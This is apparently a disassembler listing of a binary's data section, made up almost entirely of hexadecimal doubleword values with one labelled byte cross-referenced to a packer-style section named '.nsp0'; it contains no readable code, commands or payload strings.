dd 0BD312A27h, 0A12BD45Eh, 380DDCC5h, 0FFA30C79h, 0C35F7AA5h
dd 603DF93Bh, 0A18540F7h, 69DED8BFh, 0F8BD2032h, 0ECB3EC3Ch
dd 0E4E11E5Bh, 0C09487F3h, 0B910CCD7h, 88313323h, 79331D8h
dd 316415A2h, 6DC4016Bh, 0E3502EBBh, 163DCB89h, 1FF3830Dh
dd 0C02FBA33h, 2B918130h, 12CD8F80h, 44A9728Dh, 0D0B518Eh
dd 8CB1A8Dh, 968F4446h, 5FC7E15Fh, 0DCD6325h, 461926A5h
dd 7E0589h, 0F21358A6h, 3F960FFFh, 6B8DDBE3h, 2A5825FEh
dd 0FD8F23B2h, 70D85D94h, 0B22E2F9Ah, 0F7329C03h, 0D9AC4DA7h
dd 0DD71C628h, 80961519h, 5DC02C2Fh, 0C5F014C8h, 1BEDA2BAh
dd 0B73DC806h, 0AA8001AEh, 8C0EE471h, 2B160326h, 0EA0588AEh
dd 0E18E84BDh, 0D64DEE90h, 5250ABE2h, 5B071B6Bh, 173944A4h
dd 0A04AA1B5h, 0D9D09515h, 0BBB8C454h, 5E80D0E0h, 0EF39AD75h
dd 0D768AC1Bh, 2C35695h, 68C11615h, 0E4324362h, 0B0FD55EEh
dd 81D9EF53h, 96976693h, 94387256h, 9DD7110Eh, 0BF472FC3h
dd 0F398078Bh, 5C39B186h, 50F98F94h, 4A06F966h, 2902D827h
dd 0D9935CB2h, 0BE64BDC0h, 2A2EB6C9h, 440140EAh, 6DFD2D80h
dd 0C155826Dh, 0FAE0A1DEh, 21E07280h, 2C0CB622h, 7E065E3Fh
dd 0DE9F8769h, 0F19B2BA3h, 0AA9EF060h, 0A84491E5h, 29EA21CAh
dd 36075EE4h, 8EC4CA1Ch, 3832247Eh, 70F0529Bh, 0FD661D1Ch
dd 93E4ED1Eh, 0E75C4FE2h, 0CB3C9BA6h, 992A2280h, 0FC658646h
dd 787958D0h, 0B11E4640h, 394070FDh, 16D2ED78h, 606CA9EFh
dd 8CE9D10Fh, 0BCD965h, 0C63D999Ah, 6AA7A2B5h, 8DD1FDD7h
dd 196BDEBEh, 0F8A55DFAh, 91267A0Bh, 0FC3F56BAh, 0B2A64731h
dd 2E3E4EAh, 914381B5h, 5FE99610h, 7A6C541Ch, 7E7970D1h
dd 6B3E7D8Eh, 42A2CB0Dh, 0F5CFF368h, 0BF3D7641h, 0F7A1003Bh
dd 86BE3D2Bh, 9DB560D3h, 0BA718A42h, 27AF2E32h, 0EF1889B8h
dd 0F3682C8Ch, 16F13EFh, 0D4A398Ch, 0B0776429h, 1595CC28h
dd 3BD9F3Bh, 375E4825h, 6D5CA777h, 79C9DFFBh, 0EB75C632h
dd 3ADDB158h, 781E08C0h, 0A5CFCFB2h, 0D057F788h, 0DD8BAEAEh
dd 37D8EF4Bh, 0DAB0ECDFh, 16660EBEh, 0BFA8E690h, 0DE512FAAh
dd 0A8B3C1D5h, 0A347694h, 0DD977326h, 0A8902533h, 4FEDB090h
dd 5859FB91h, 0CE3CF462h, 8C34D07Dh, 7B1A9552h, 6F5AA118h
dd 0D4D33DE2h, 3851D217h
dd 375EDB9Ah, 4B2D4DA9h, 32DCAD08h, 0F4161B41h, 0AF7D0207h
dd 0C17B16F7h, 4D612FF3h, 85DEFEE9h, 0ED540094h, 0C5C2135Bh
dd 0A4F4DE7Bh, 0FD5A47B0h, 0C38C8FBFh, 4C58E8E7h, 7FEF05F7h
dd 0B38C8BA1h, 0AC7A48CBh, 0E851A2CAh, 46B04782h, 84CF9C26h
dd 1DC714DEh, 445E7E7Dh, 58F59F98h, 67DB4DDDh, 0A830EF60h
dd 23C26AE5h, 6659D7ACh, 987F7435h, 0AD38119Ah, 46720415h
dd 4F56E176h, 0EF6F2246h, 39185E72h, 652C6868h, 0C8C12C61h
dd 83E38A6Ah, 3F7285EAh, 0E006B990h, 871F3A7Ah, 4C9F1755h
dd 2354F5BBh, 3D7BFDD5h, 18BA965h, 59B765ADh, 1FAC0BEFh
dd 9CA19B9Dh, 742573F5h, 0ADCAE524h, 4952F9DBh, 7B4E1019h
dd 0FAD7D892h, 5A9EFEF1h, 71F836EEh, 0C6D1C771h, 0A9731A57h
dd 1D26ED34h, 73BAAE2Eh, 0EC075CE2h, 2B1818D7h, 0DF63B0E5h
dd 569B6A4Dh, 0D92A48F7h, 969F6391h, 6E93C793h, 21EE37DEh
dd 55075C49h, 6E2A26BEh, 63E3898Bh, 0EEC3D2E9h, 0DEC9360Fh
dd 0A3DC18E2h, 7EB54885h, 0B0903164h, 157F4B44h, 0A66D8B1h
dd 0CBBBC07Bh, 98EC20D7h, 466804Ah, 3EF131CCh, 17A11538h
dd 0C496CE47h, 0FD967181h, 0F93D0AB7h, 0CA68199Ah, 0C5328424h
dd 3F9B401h, 36C4D138h, 3AA76916h, 0B2D3EA10h, 49AFF1A4h
dd 2D90D289h, 0E5E6C765h, 445EA3E1h, 683F3177h, 1A8A0732h
dd 0B9C6AD1Ch, 800FDB70h, 0C9235EFCh, 52B8F43h, 9050D0F1h
dd 660A1B1Fh, 0BD158D51h, 0B911043Fh, 0C5042F04h, 91E4956Ah
dd 1C99237Ah, 74387FE0h, 327591D8h, 50B62D1Bh, 3A67931Eh
dd 49B89287h, 40741DE3h, 7003D19Fh, 0C6DBB295h, 4B5DE8E1h
dd 262C3F3Dh, 1D0E21Bh, 5BA7FF0Fh, 71D1AFF5h, 6DDD83B5h
dd 99DD8C6Dh, 85D5A8B3h, 0C29781F6h, 0DCFD037Ah, 0EE78BBE5h
dd 35792A8Ah, 0E7CDDD0Eh, 0DD1E6E72h, 0EB7DD31Bh, 0C2BE4BF8h
dd 0B011C88h, 852D824Fh, 55CC09C5h, 0C3CE323Ah, 277166D1h
dd 1F37E687h, 0E2AFCC43h, 11870AA8h, 15CCE795h, 5143212Ah
dd 14F9F418h, 82AB088Ah, 85B10819h, 187AE423h, 0F9FC9D52h
dd 0BB11FEE1h, 9759804Fh, 6E1D6900h, 0BDBFDD35h, 46935511h
dd 0AB310B20h, 297769EDh, 0AFB48B3Ch, 199D8549h, 2526D6D1h
dd 4BC64190h, 9CBAA3FDh, 0B2658D1Ah, 8B2C76FCh, 3CCBF4F7h
dd 8B0E723Ch, 94C3CFD1h, 996CD95Bh, 0A7C0EB71h, 0DE6099F6h
dd 7EFC2D75h, 97AA8AAAh, 0B0FC46D3h, 0B8DBB0DCh, 0EA7F9F97h
dd 6747A690h, 0BC0E632Fh, 52FAB2BEh, 5ECA2035h, 39507607h
dd 3FF222F7h, 1CB88F7Ch, 0FBACE05Dh, 4006E163h, 4D3C4856h
dd 0FD4055B5h, 0B74FEB7h, 7C6D537Ch, 0DEC32A35h, 23DC562Dh
dd 0AB50B96Eh, 4B422BEBh, 4284B2C4h, 2417A3F8h, 0FCE45189h
dd 0C2734476h, 28E06B99h, 970CE2C1h, 71E5FF4Bh, 76020FB8h
dd 0D08EAB4Dh, 3A5BF17Ch, 0FCD5F44h, 0F084285h, 0AB7E0C3Ch
dd 0FA6E7AE9h, 2F8ECBE7h, 5509562Dh, 0BF0EA540h, 0D16603DCh
dd 274A0604h, 6DFAE339h, 0C0F3537Eh, 45280C79h, 0F91C6BA8h
dd 21B8E5BEh, 0CDBFBEDAh, 50CB5E28h, 368199D6h, 13B28DB0h
dd 0E10D2181h, 76062A74h, 0A831D13Eh, 13AD717h, 2D3AB0EBh
dd 0DA93F691h, 0C428EA0h, 0B885A6C5h, 594FEh, 0E3C58552h
dd 3B7D0B9Dh, 0F8AE5A58h, 19DF4C48h, 50864855h, 82675D8Ah
dd 447CCCF5h, 7E1CDDA4h, 3763266Eh, 32049DA8h, 428A7439h
dd 0DF166354h, 445F7CD1h, 23444F40h, 0C2EAE2AFh, 7E380FA2h
dd 197CAA9Fh, 0CA324F99h, 14C0ED2Eh, 0B30E1A8Eh, 7BFB8322h
dd 0E5FD5172h, 2CD6505h, 64C28C52h, 6E2F1B60h, 515EED7Fh
dd 0C944C517h, 0DC246CF7h, 28BDA937h, 9E16BC40h, 5DEF4D2Ah
dd 0DA85E97Fh, 668ECF1Ah, 5E262ECEh, 9A449CBAh, 56CCAFDDh
dd 1E5F126Eh, 0C62DC1D5h, 7683C4F2h, 0AD0871E0h, 763BC050h
dd 0CA8B641Fh, 0A6E026CBh, 77527502h, 0A9C24991h, 8501235h
dd 4A311F71h, 0FB17B454h, 0D9B7053Fh, 0C849BE17h, 0E593DC50h
dd 87771DB8h, 85E696CEh, 70097291h, 0BB8B595Ch, 907F2BA0h
dd 0BF5B3FA7h, 19D7C725h, 0A45A38BDh, 0B6D5E644h, 0C878EBB1h
dd 0D0AABDCEh, 8FDD1167h, 0F1D94870h, 8837A595h, 259E110Ah
dd 1C652E82h, 9258C84Dh, 988F23D5h, 63B37B6Ch, 0B98F6A1Fh
dd 1058B8DCh, 30624B55h, 824E06DEh, 71D64690h, 97D35B4Bh
dd 7CF2E60Ah, 0BA3E1655h, 37C68AFEh, 0B4BBF5B9h, 89B212A3h
dd 82B19416h, 0D2F336EFh, 0EDF54001h, 29AD6C99h, 31919735h
dd 59E3451h, 0AD3D5A34h, 0AB0F49FFh, 1C8408E3h, 78C9CBE2h
dd 5E33A0FAh, 36102B62h, 749B146h, 82ED15EEh, 0D337200Eh
dd 0E2FA586Fh, 0D38C5468h, 13D84849h, 0AC930F6h, 2312C88Bh
dd 0D4EC32Ah, 1E6D61DAh, 29AB2DFFh, 0E12CFE6Ch, 1F84F758h
dd 4F42DFEBh, 2769535Dh, 9CE14D00h, 0D2619E1Fh, 111F3E0Fh
dd 31D63273h, 0B0993652h, 81A44E46h, 0AB1CB4B1h, 7F850C5Fh
dd 0CDDC1A54h, 2A0A3D30h, 89E6DD92h, 7B71D5C4h, 645AFF33h
dd 0BE40912Bh, 31C16449h, 7C29C8E8h, 12240C90h, 0FBFCC655h
dd 5E29ECF3h, 6EBE1E7Eh, 23D5AF44h, 9BF06154h, 0B938ED9Eh
dd 269BD60Bh, 1CDB51E4h, 0C420CBF3h, 96A06B11h, 0B3A69248h
dd 0A8973D7Bh, 0FC25E23Dh, 92365DC4h, 8C9135AEh, 1404A1E9h
dd 0E6B25D7Ch, 7BE6C84Fh, 0BDC56EBEh, 991C9E96h, 13ADE250h
dd 1AD4144Ch, 0D16C95C5h, 0F61BF6D4h, 0B8C0C32Bh, 98EFE728h
dd 0B107A849h, 0F02FF105h, 0E3A9A435h, 9AFAA840h, 9045CF1Dh
dd 35C103FFh, 7FC7FE56h, 0C32844D6h, 13608613h, 0D2234658h
dd 0ED9EBB45h, 0C52A46CBh, 0D0D3CCEBh, 0A0984F3Fh, 0CC2D3F93h
dd 5E586C9Bh, 0B43CA3F3h, 0B532733h, 30838E30h, 0D0A20B05h
dd 0B0CDD00Ah, 9E4D1D3Ah, 0FFAACDB0h, 0E301977Ah, 0F7DAA21Eh
dd 31440EB8h, 0B233B69Fh, 5580AA9Bh, 423A6484h, 782BD8A4h
dd 2F646DFh, 0BE834DC9h, 0A35FEE0Fh, 0C2E7FAC4h, 123E1872h
dd 3F2EA6BEh, 4894026Fh, 0BC1B6B3Bh, 299C552Ch, 0CA5CE11Ah
dd 4A2180A1h, 0A0DD0CB3h, 51444DB8h, 0E308F5EAh, 0E4080FE6h
dd 99ABAC7Fh, 0EBE70DB2h, 61FE8882h, 3C476AE6h, 0C484B46Bh
dd 30F91571h, 60E4D06Bh, 0D58F6680h, 9FAAA4A0h, 3FDBC804h
dd 0D5CF6703h, 1FECC7BCh, 1E260089h, 21B2C1B2h, 59D63DD1h
dd 4F77E008h, 1DC54E74h, 0B2630F3Ch, 2A431083h, 0E8F3228Dh
dd 0DAF21C39h, 0CABD7F66h, 4AEA4968h, 92D74003h, 0BECD51DDh
dd 61BB1BA2h, 99915A67h, 0B78D8C11h, 6E47C5E2h, 8F6F252Fh
dd 3280C6CCh, 21161062h, 3C921880h, 8477F8AAh, 0AB5BDD4Fh
dd 0D2487876h, 3D5BA932h, 84E6D587h, 76954E0Ah, 0B78EFF9Ah
dd 805B53FDh, 7B133C13h, 854A25CBh, 0AF91211Ah, 85C6B02Fh
dd 4B1F96Ah, 45772952h, 0BE778853h, 50181908h, 96B2EAB3h
dd 5CC1A33Dh, 8D72BA8Ah, 0C6584BDAh, 0F7E07BC4h, 11C61F76h
dd 0CB33068Ch, 0F7F68312h, 27DBF207h, 95D1CB26h, 0CA372717h
dd 0C806022Bh, 0DDBCD27Bh, 5FC28822h, 7D34A669h, 3FB410FEh
dd 2FC0EF4Dh, 2C26F208h, 75BC85E8h, 0BACE1B74h, 8E8FAE46h
dd 0B1A8940Ch, 2567AF2h, 92F9D90Dh, 0A878615Dh, 7DC0486Eh
dd 2E27705Ah, 5B916639h, 428CD6A9h, 57648EEEh, 14828EC2h
dd 12764F67h, 66E9BD52h, 0D760705Bh, 8A8A2DB4h, 7CA578CBh
dd 94AF66B7h, 3D398C76h, 3F9DAF94h, 0E2D9865Fh, 3CB7DC02h
dd 0F8922C2h, 5F9AA06Ch
dd 3913B382h, 0A57EA459h, 0F8B293C7h, 82B557Ch, 0F4B6477Eh
dd 0EB009DCh, 0F0C24C0Dh, 0DB46DBF0h, 0F10EFAD8h, 3FE64BAFh
dd 4111339Ah, 80B92A8Bh, 800DA5A9h, 0C225F28Fh, 0A8A0107Eh
dd 4BF94A1Bh, 882E4A28h, 0C8C672E9h, 50C03AFCh, 0CCFE5E6Eh
dd 0ACCB18Fh, 43322CA2h, 286605BFh, 71D9F3A1h, 40816979h
dd 66DBEA2Bh, 5DE3CE0h, 52942E40h, 0FF115ACh, 0EE4A8117h
dd 0D74B01D8h, 6E6CC3Ah, 0FC6AC0E3h, 7ACFD218h, 0CAE34CA5h
dd 1F6423CDh, 0E79EA527h, 1C080BD5h, 0C43B1A4h, 28DF75BBh
dd 1EB6C89Fh, 0E2C41253h, 851402ECh, 3E71874h, 440CD62Dh
dd 0C5703854h, 0CC250236h, 72E78828h, 8A97189h, 560D188Eh
dd 5D8E464Eh, 7EA65C20h, 75D54D1Ch, 605C0973h, 0EF18AA92h
dd 0F18B0DF9h, 3E273119h, 0A60BF3E1h, 0F33BB5EFh, 29F7B91Bh
dd 424A9352h, 0F51AD079h, 6A29AD9Dh, 300397DFh, 5A9CBBA7h
dd 0EDA602E6h, 155C1227h, 0A61D60A4h, 84542930h, 6E86849Ah
dd 922D289Fh, 6B7A1083h, 17181638h, 6B83D76h, 0CD03E396h
dd 0D36010DAh, 0CD9F9206h, 0D9FB8FBEh, 39548B37h, 2B57644Bh
dd 0E27A2FD7h, 18145FADh, 3D97401Fh, 48419EF1h, 0A5838152h
dd 0DCA4ACEEh, 0B5592F10h, 4F855745h, 0ABAC8600h, 8DC39383h
dd 0FE5B224Ah, 55010394h, 0E8949D37h, 0B4D1A440h, 2A7D3E7Ch
dd 0D6906B59h, 4FAACC9h, 531FA8F3h, 0FAF3B4B3h, 0BFEC8688h
dd 9955A78Eh, 8BB1C128h, 0CE1C99CCh, 0DB9FCAEBh, 264052AEh
dd 658F6D8Bh, 571A557Bh, 734072CCh, 2738CD7Bh, 57669A44h
dd 8C50C019h, 0C1BF11F3h, 592D6E23h, 3D5F24D6h, 0C4568E34h
dd 684098Eh, 0A19D8728h, 5B3FA5BFh, 0E7753559h, 0B14644E7h
dd 501154C4h, 2DF4DD45h, 926CF457h, 6C034CCDh, 0AAF0536Bh
dd 7D23032Dh, 548F420Bh
db 3Dh
byte_515545 db 61h, 4Dh, 3Dh ; DATA XREF: .nsp0:00451F5Co
dd 10A00E6Ch, 0D2EA9948h, 4A939011h, 307840F9h, 5B4532E8h
dd 702F1EA1h, 3E8AD9CEh, 2DF1B0A5h, 377B9A93h, 66D974C0h
dd 6D5A766Bh, 7D4FC0DCh, 9304E323h, 0D303550Ch, 8FCB60A1h
dd 3A10C370h, 585B5A35h, 9C8056A4h, 0CC55B32Dh, 0BE40FFB5h
dd 6AAC95B9h, 0BE19CD3Bh, 151BB919h, 4F79CD09h, 0C0A7AD9Ah
dd 9668E132h, 1FC06E2Ah, 47D4CE43h, 25C5DF6Dh, 1897DD2Bh
dd 0AD33DB13h, 70A953F3h, 955846FEh, 0D44081BFh, 10D32F30h
dd 5AFC0660h, 0A4F3E0B1h, 33DB327Ah, 2355F4F8h, 6544AF9Bh
dd 0B461B389h, 0A3455698h, 3204B4Ah, 2E7C22EDh, 0F1FB7152h
dd 62E31D5Eh, 54019313h, 0D4DC827Ah, 5B2ED3ADh, 519162FCh
dd 34DF1DD7h, 0DBF1A443h, 0C47082D0h, 4B5287B7h, 0ED0E0D98h
dd 9100DC8Bh, 0F6B3E78Ch, 3862B738h, 0A43767A7h, 99A36A35h
dd 8FE2261Fh, 0F457D036h, 84BA592h, 3149451Eh, 4EF0BD82h
dd 8D59177Fh, 0BAFF0D47h, 0CFD0B651h, 7483D1Ah, 0BBF0988Ch
dd 0B163EBC7h, 0F4D1593Ah, 0B4F26394h, 1D4EAF5Ah, 48EE760Fh
dd 0CD97C07Fh, 0B1B998D1h, 881180CCh, 0E0CDD709h, 1DFC2E2Ch
dd 0FC345D2Eh, 0EBCEDCD8h, 2BF9D66h, 9BB270DBh, 309F00B8h
dd 5C2833A7h, 0F6E5BC17h, 6F48EB8Bh, 1F274401h, 19122502h
dd 0EF5BEC4Eh, 7F257CD2h, 0DC6D132Ah, 22685BE8h, 0F94A64D7h
dd 3B63F66Ah, 0C499EFCFh, 0AD29C37Dh, 0F2ECA66Bh, 0F5955685h
dd 0DAB84D19h, 5D87484Dh, 715FCBF1h, 1BDD35ABh, 6E509B18h
dd 0ACBEA349h, 7374BC32h, 9FBFBC19h, 888332F6h, 2D42D7B0h
dd 0EAE65EF7h, 11DC70CCh, 9070465h, 0CFDABF7Eh, 3EA7DF7h
dd 32329B67h, 71D2B334h, 94F68AD1h, 2BC1732Ah, 6E9BE024h
dd 22EED28Bh, 96F61ED0h, 0D91A27D6h, 482DDC10h, 973F52CCh
dd 0DF28FA5Ch, 446E830Fh, 5F599786h, 0E435F303h, 7305A638h
dd 2319CFFBh, 69431DAAh, 0E77BB599h, 59E54A9Fh, 85E6064Ah
dd 24A07CC9h, 701A9CD1h, 0BD07361Ah, 43FCAA0Ah, 9F6537EDh
dd 0F879E158h, 4E0370DBh, 60D932A0h, 39ADD6F7h, 806A6DE5h
dd 862B80E5h, 24E5347Bh, 0FB166419h, 1554C76Bh, 0E69E0DB7h
dd 0FD5300CFh, 0B72D0A1Bh, 58B6FF68h, 56539D14h, 9ED6394Ah
dd 0A1CB50F7h, 39B29506h, 0BF7F67D9h, 0B1D53F58h, 0D1037EFh
dd 0AC97081Ch, 727B1189h, 3FC5F44Dh, 0BCF5DBE7h, 5EDDC3F8h
dd 0B87ADA75h, 0C00489B2h, 0CD724414h, 64F63E79h, 753F9B9h
dd 0EFBCFA4Dh, 9C421A06h, 0B9A39026h, 12E27F47h, 0E3A91022h
dd 9500B5B5h, 3E967E8h, 782B8F6Bh, 5583224h, 4407F843h
dd 54BB4C26h, 0B738BFE7h, 5FD07DFAh, 2E310238h, 43F2165Ah
dd 0A0389DF5h, 8F777180h, 7D36E63h, 71FE0622h, 0B853F8CAh
dd 73D2838Eh, 535AB206h, 2CCD2A0Eh, 676662B2h, 42BC5E11h
dd 2D9C9C11h, 30A10E0Bh, 66128D70h, 30A078FCh, 146C9BE7h
dd 78D0D787h, 2226A34Bh, 17677E4Ah, 0BDB176CCh, 93B3D76Dh
dd 0ADB024DDh, 0C36A8674h, 0EC70FD37h, 685A7892h, 3B69F4DCh
dd 58A7E1D6h, 0A59BC33Bh, 7E2010Ah, 8C5B9AA8h, 0DC23C04h
dd 8B8A8C26h, 11401DCDh, 90294FE6h, 2331AD23h, 0A0B4F39Dh
dd 0A4EBF3AFh, 0B1774EA0h, 52395F36h, 5EBDCA0Ch, 0E9C53E41h
dd 0B6A5B3D8h, 0CD5AA705h, 0DEE79DDBh, 9FCA6A1Dh, 0CE106C54h
dd 0ED3F2BBAh, 6E394757h, 0EC4F806Ah, 0C5922095h, 20F23E86h
dd 0E95A13C8h, 2DA0DEE8h, 7C7F9943h, 26B860F8h, 542264C0h
dd 87F4A95Bh, 0CC668EE5h, 0FD33536Eh, 439E57AAh, 0C1797C59h
dd 0CDC1C44Ch, 0C113E8F2h, 9A1DCBB3h, 22B6C36Fh, 42C842C1h
dd 0B39D2E6Ah, 0D06C1B17h, 135A9F39h, 7D91B193h, 2FCD3E02h
dd 0A599BB13h, 3A0E33D5h, 8AA5C836h, 0F33C45DEh, 0D3DD715Bh
dd 4DB665FDh, 68D46BD6h, 79F9F2DAh, 808DF60Fh, 4875997Dh
dd 0A031D530h, 0C2B6DE0Dh, 879E1058h, 75D7CF7Ah, 38C5B98Dh
dd 1DF1341Ah, 0C7C142D2h, 83517221h, 85BA850Fh, 0B29677B8h
dd 0D449099Ch, 2D53D8DAh, 8B2621ACh, 399ABA87h, 1AA24A6Bh
dd 0F17B3D55h, 9FCEFD16h, 0A16537B8h, 812A8D80h, 0BE483244h
dd 52CB0F7Ah, 0CD633587h, 1526DB5Bh, 14F0E7FEh, 9A8CE651h
dd 0BAE49B16h, 0C1187AEAh, 775644A2h, 0E439D0D2h, 21CC0DDBh
dd 4305F786h, 6C59FC69h, 0BF686D08h, 0ABD04EBFh, 0A921FF8Fh
dd 6B35EAEDh, 0B9128F84h, 4B39B8E3h, 0BEEDD68Fh, 0C3C76EB6h
dd 332C2C4Ch, 81D10AC4h, 0E0E76059h, 7CD72649h, 0C957A426h
dd 0C11BFC4Eh, 8F5215F0h, 0A9B4C949h, 6966DA4Ch, 0FD0F0AE3h
dd 5FC3C5F2h, 0F500E63Eh, 4D7A0D2Bh, 9D9BA0C3h, 56C9D6B3h
dd 0AAA10BE5h, 16E93AB3h, 0F7435C54h, 7311C0FDh, 0DE588146h
dd 6936C1E6h, 8E9D043h, 0ABB3FAB1h, 33F33501h, 8B1152FEh
dd 676E5578h, 35AA3818h, 2E55BF03h, 0AEBBD615h, 7F9579B2h
dd 0CFE64B78h, 23D7D888h, 0F8BFA979h, 0A0CCDC1Bh, 0E429936Eh
dd 0F7A9B9F6h, 86C23446h, 8881B81Eh, 897DCA4Fh, 0FD680BB5h
dd 7BB96DCFh, 791E647Dh, 94CF33Bh, 79216573h, 0DFE89633h
dd 991F360h, 252D9285h, 4BC5FC18h, 363A06Ah, 0EBAE55F1h
dd 8074F5D7h, 6B467170h, 0D6B01F2h, 7DC91CAh, 43D4D357h
dd 0E20A0E5Ch, 9A87D697h, 24DCDD5Bh, 57F64F3Ch, 0BF90087Fh
dd 0C8974666h, 3FABF94Fh, 0CDF9382Dh, 0D17EF640h, 8BFC1588h
dd 6F5C7033h, 30A7F001h, 0D90BA81Dh, 0D56DA783h, 4AB35F1Ch
dd 9F2EC77Dh, 3FAF4DFEh, 4499D19Ah, 47D2B57Eh, 0C1B3790Ch
dd 0CFD28D78h, 5B97E3AFh, 0EC20127h, 99700BC0h, 8459718Fh
dd 0FBC128F5h, 7B39AF3Eh, 0E111C9C1h, 0F4701A60h, 1A6A04CDh
dd 1306AB91h, 0BDCC29BCh, 980DE4F7h, 95863BA3h, 0ED4739A4h
dd 0ED6F308Ch, 7C76DC3h, 975D7DC8h, 1ABDAAB7h, 0D8089F1h
dd 1222D1EEh, 0E67BBC2Bh, 0EFFA4D99h, 1927269Bh, 0F827DDE3h
dd 0A7370E3Ah, 8198440Fh, 9CD74C4Fh, 736737A3h, 95EAD6E9h
dd 7F6BA680h, 0F69A4E5Eh, 0B6C16964h, 0F08A5D70h, 76F2090Bh
dd 387DE786h, 0F5BE0EBBh, 577EEFABh, 0B9D98A53h, 5A2D5B80h
dd 0E98CCA8Ch, 0CB7E3565h, 0E54716DDh, 0DA654569h, 98F5BD0Eh
dd 0F6533EF8h, 0D6946E76h, 63DF09E2h, 0B57FCF92h, 906382ABh
dd 2AB4701Fh, 2FD9E676h, 0E08C4E6h, 734BB4EAh, 267DD606h
dd 23200C27h, 9CD77F85h, 539C5E0Ch, 93DFD21Dh, 0DC3B8A10h
dd 773D090Fh, 75E5F761h, 855060A7h, 50B4C9A4h, 0A64CC5D8h
dd 0F0369FBFh, 17B05B1Dh, 0CEA0A87h, 9494930h, 0C39A2E6Bh
dd 0A514F156h, 55CF4EAAh, 2FA2B05h, 7D8ADB23h, 2B31DB40h
dd 7B884C03h, 0BD78A7EBh, 0B196FC00h, 73E1A01Bh, 0B99C267Dh
dd 74B79FB3h, 3678714Fh, 0CCF5EC7h, 0A2311831h, 58A59058h
dd 0DDD7C910h, 766CF4CEh, 3370EBC8h, 0BDFEFE75h, 0BF90123Bh
dd 3AEFBBD1h, 0CCFDA5D5h, 6BB11270h, 0DE836B37h, 0AEE4E6EFh
dd 2E71B1B1h, 0C65C32Ah, 0C00CF429h, 0A799B6DBh, 94B48DF8h
dd 0C0F9E51Ch, 281C2CAFh, 0CDA3F196h, 3D212292h, 64D118F6h
dd 0EF1E642h, 73EE7E4Eh, 229058B4h, 2D7011CBh, 0D8BC0BC5h
dd 0E84AEF0Ah, 0C3471EB4h, 0BCE1B12Ch, 0DA8CB011h, 4AA95EE1h
dd 2FCA6A0Fh, 68FC280Bh, 5FFF4B64h, 0A31B01ABh, 8B6CF66Eh
dd 3A1BAE9Eh, 0B1509C02h, 82A831D4h, 4C75159Dh, 0E7B9FA24h
dd 9A6E4BFBh, 0AEEA6A2Dh, 7E453394h, 55514FC4h, 3C79343Dh
dd 6C0BF8BBh, 430BD852h
dd 0B4E83250h, 5B677F84h, 96B3EEF8h, 528BA729h, 0EF449DB7h
dd 0AF69E2E3h, 7ACD675Ch, 0CBDE1F26h, 59735237h, 19E115FDh
dd 0A43AA0ACh, 22CF80F5h, 0B605274Fh, 60B5E123h, 2ACE4F31h
dd 0D633C73Fh, 0E75C1FAFh, 136B7CDFh, 285545AFh, 0FDAFC36Ah
dd 0A4956538h, 0F11E7A69h, 0D78E2FFAh, 87A01278h, 0BFFDC216h
dd 4053B4A3h, 67EA81D7h, 295F39E1h, 0B60192C0h, 4421A150h
dd 0DC2B829Eh, 0DFDD2DDEh, 0B1AACF6Dh, 8E69085Fh, 5C3D242Ch
dd 808C4133h, 6D0CC95Bh, 9C51880Ah, 0CC6B203Fh, 0EC32914h
dd 78D36284h, 0BFF01E04h, 2A90002Bh, 0F3D53F30h, 0B10AA0FFh
dd 3A8866D7h, 40F21999h, 2CFA6DA4h, 6C980C12h, 0C6F0EAD1h
dd 884B5958h, 0FABCC149h, 0F49D9DC3h, 8651CE62h, 4C642FA0h
dd 0B4B5BD56h, 0FFA10D8Ah, 36E06682h, 3084975Bh, 9EDB0B43h
dd 9E804B65h, 0C1D69724h, 12967833h, 0AEDABD7Fh, 0AB07AE17h
dd 4C18CBC2h, 0FEB95343h, 4B4C90D3h, 79DEAEB2h, 2E48AE4Eh
dd 0ADF6327Eh, 1CDD64C3h, 6CADAAF5h, 487D1C8Ah, 0A989AEE1h
dd 97239305h, 85D0022Eh, 0B3006342h, 3298225Ch, 2EE128Eh
dd 9EC2273h, 0EA5BE5E2h, 830D213Ah, 62E69CB9h, 9F6CF150h
dd 388FCBDAh, 3AB1C985h, 2BB3C32h, 3DC6AFB7h, 7E2F0C1Ah
dd 4B3B8D6h, 6220FAB8h, 0C23B43FCh, 0FF495D2Dh, 0D41AD5BAh
dd 29CAF639h, 95872921h, 0E9BFA42Dh, 94EA38E0h, 71E2A3FCh
dd 7EB6862Dh, 3C1B7F0Ah, 0B47E5687h, 0DD94D5ADh, 86276047h
dd 0A7A5A3FDh, 0C9ABEF3Bh, 643DA904h, 44A03D8Fh, 0D0957ED3h
dd 0D7B4EE1Ah, 537D8939h, 10008A53h, 0D107A00h, 0C8A9735Fh
dd 718E80A4h, 0B96B9214h, 0CA4E0708h, 0AC812C43h, 0D0B77C47h
dd 2F25984Fh, 49C29FC7h, 8626EB25h, 5F772269h, 0EE1A87A2h
dd 841DE028h, 4EC1E4C0h, 684D9D4Fh, 5B66773Eh, 69D63452h
dd 0EE624CD3h, 0F25518B2h, 4A661D70h, 0A3FED426h, 5EE7D3C6h
dd 0F52FC656h, 810883B9h, 5231152h, 70C6B16Ch, 0B8BAE33Dh
dd 0CB1B4A88h, 1260670Fh, 8072FF26h, 0A8B06738h, 3576B55Eh
dd 3F1E6CB2h, 1889CFDFh, 0F178BFE8h, 5E41D678h, 79C68917h
dd 8D16A961h, 86FAB64Ah, 3A7C0414h, 55EB5D87h, 26B136EBh
dd 68F40D46h, 9005BCC4h, 0AB454D7Dh, 31BDA0D3h, 76A0FD9h
dd 149AF0D3h, 6E10160Bh, 14D60452h, 20EC82E6h, 1264FA61h
dd 70788520h, 0F36CCF55h, 0A8351B26h, 275FE79Dh, 270DAE1Dh
dd 82410B20h, 0C0D0127Eh, 0E6CB437Fh, 0EAB82A12h, 0FB7C9558h
dd 38F9FBF4h, 4709E43Bh, 8CA7E72Dh, 0BEC74A59h, 182E7E36h
dd 35E0D58Ah, 1BD38FE3h, 7F2D21F5h, 0DC047091h, 0A810AF5Fh
dd 47A513CDh, 0C277B14Eh, 0BC77E9A4h, 3A6D60C7h, 0BFAAD3A3h
dd 0FEA4EDD9h, 0BED4F9D8h, 0B130A5AFh, 0C3F7F05Bh, 0F709CD5h
dd 0B8113454h, 0D9651403h, 8C169F08h, 98DEC6B2h, 0BE675F60h
dd 0F191443Dh, 0D721FC7h, 0B5F5984Ch, 0D5BB6882h, 67B84186h
dd 0E409D56Fh, 4A534A7Dh, 360CA383h, 15D5B83Dh, 0C6637FE9h
dd 0A4787955h, 660212B3h, 39D1BA06h, 95D5EAA6h, 418D73D1h
